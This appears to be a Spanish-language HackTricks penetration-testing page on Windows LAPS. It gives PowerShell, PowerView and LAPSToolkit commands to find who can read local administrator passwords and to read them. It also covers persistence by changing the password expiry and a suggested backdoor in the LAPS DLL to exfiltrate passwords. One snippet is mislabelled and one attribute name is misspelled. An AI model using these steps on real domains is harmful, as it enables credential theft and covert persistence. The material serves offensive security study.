hacktricks/windows-hardening/active-directory-methodology/laps.md
2023-06-03 01:46:23 +00:00

8.0 KiB

Información Básica

LAPS te permite administrar la contraseña del Administrador local (que es aleatoria, única y cambiada regularmente) en los equipos unidos al dominio. Estas contraseñas se almacenan de forma centralizada en Active Directory y están restringidas a usuarios autorizados mediante ACLs. Las contraseñas están protegidas en tránsito desde el cliente hasta el servidor mediante Kerberos v5 y AES.

Cuando se utiliza LAPS, aparecen 2 nuevos atributos en los objetos de computadora del dominio: ms-msc-AdmPwd y ms-mcs-AdmPwdExpirationTime. Estos atributos contienen la contraseña de administrador en texto plano y el tiempo de expiración. Entonces, en un entorno de dominio, podría ser interesante verificar qué usuarios pueden leer estos atributos.

Verificar si está activado

reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll

# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname

Acceso a contraseñas LAPS

Se puede descargar la política LAPS en bruto desde \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol y luego usar Parse-PolFile del paquete GPRegistryPolicyParser para convertir este archivo en un formato legible para humanos.

Además, se pueden utilizar los cmdlets nativos de LAPS de PowerShell si están instalados en una máquina a la que tenemos acceso:

Get-Command *AdmPwd*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Find-AdmPwdExtendedRights                          5.0.0.0    AdmPwd.PS
Cmdlet          Get-AdmPwdPassword                                 5.0.0.0    AdmPwd.PS
Cmdlet          Reset-AdmPwdPassword                               5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdAuditing                                 5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdComputerSelfPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdReadPasswordPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdResetPasswordPermission                  5.0.0.0    AdmPwd.PS
Cmdlet          Update-AdmPwdADSchema                              5.0.0.0    AdmPwd.PS

# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl

# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

PowerView también se puede utilizar para averiguar quién puede leer la contraseña y leerla:

# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd

LAPSToolkit

El LAPSToolkit facilita la enumeración de LAPS con varias funciones.
Una de ellas es analizar los ExtendedRights de todos los equipos con LAPS habilitado. Esto mostrará los grupos específicamente delegados para leer contraseñas LAPS, que a menudo son usuarios en grupos protegidos.
Una cuenta que ha unido un equipo a un dominio recibe Todos los derechos extendidos sobre ese host, y este derecho le da a la cuenta la capacidad de leer contraseñas. La enumeración puede mostrar una cuenta de usuario que puede leer la contraseña LAPS en un host. Esto puede ayudarnos a apuntar a usuarios AD específicos que pueden leer contraseñas LAPS.

# Get groups that can read passwords
Find-LAPSDelegatedGroups

OrgUnit                                           Delegated Groups
-------                                           ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL                DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL           DOMAIN_NAME\LAPS Admin

# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName                Identity                    Reason
------------                --------                    ------
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\Domain Admins   Delegated
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\LAPS Admins     Delegated

# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName                Password       Expiration
------------                --------       ----------
DC01.DOMAIN_NAME.LOCAL      j&gR+A(s976Rf% 12/10/2022 13:24:41

Persistencia de LAPS

Fecha de caducidad

Una vez que se tiene acceso de administrador, es posible obtener las contraseñas y evitar que una máquina actualice su contraseña al establecer la fecha de caducidad en el futuro.

# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime

# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}

{% hint style="warning" %} La contraseña aún se restablecerá si un administrador utiliza el cmdlet Reset-AdmPwdPassword; o si No permitir un tiempo de expiración de contraseña más largo de lo requerido por la directiva está habilitado en la directiva de LAPS. {% endhint %}

Puerta trasera

El código fuente original de LAPS se puede encontrar aquí, por lo tanto es posible poner una puerta trasera en el código (dentro del método Get-AdmPwdPassword en Main/AdmPwd.PS/Main.cs, por ejemplo) que de alguna manera exfiltre nuevas contraseñas o las almacene en algún lugar.

Luego, simplemente compile el nuevo AdmPwd.PS.dll y cárguelo en la máquina en C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll (y cambie la hora de modificación).

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥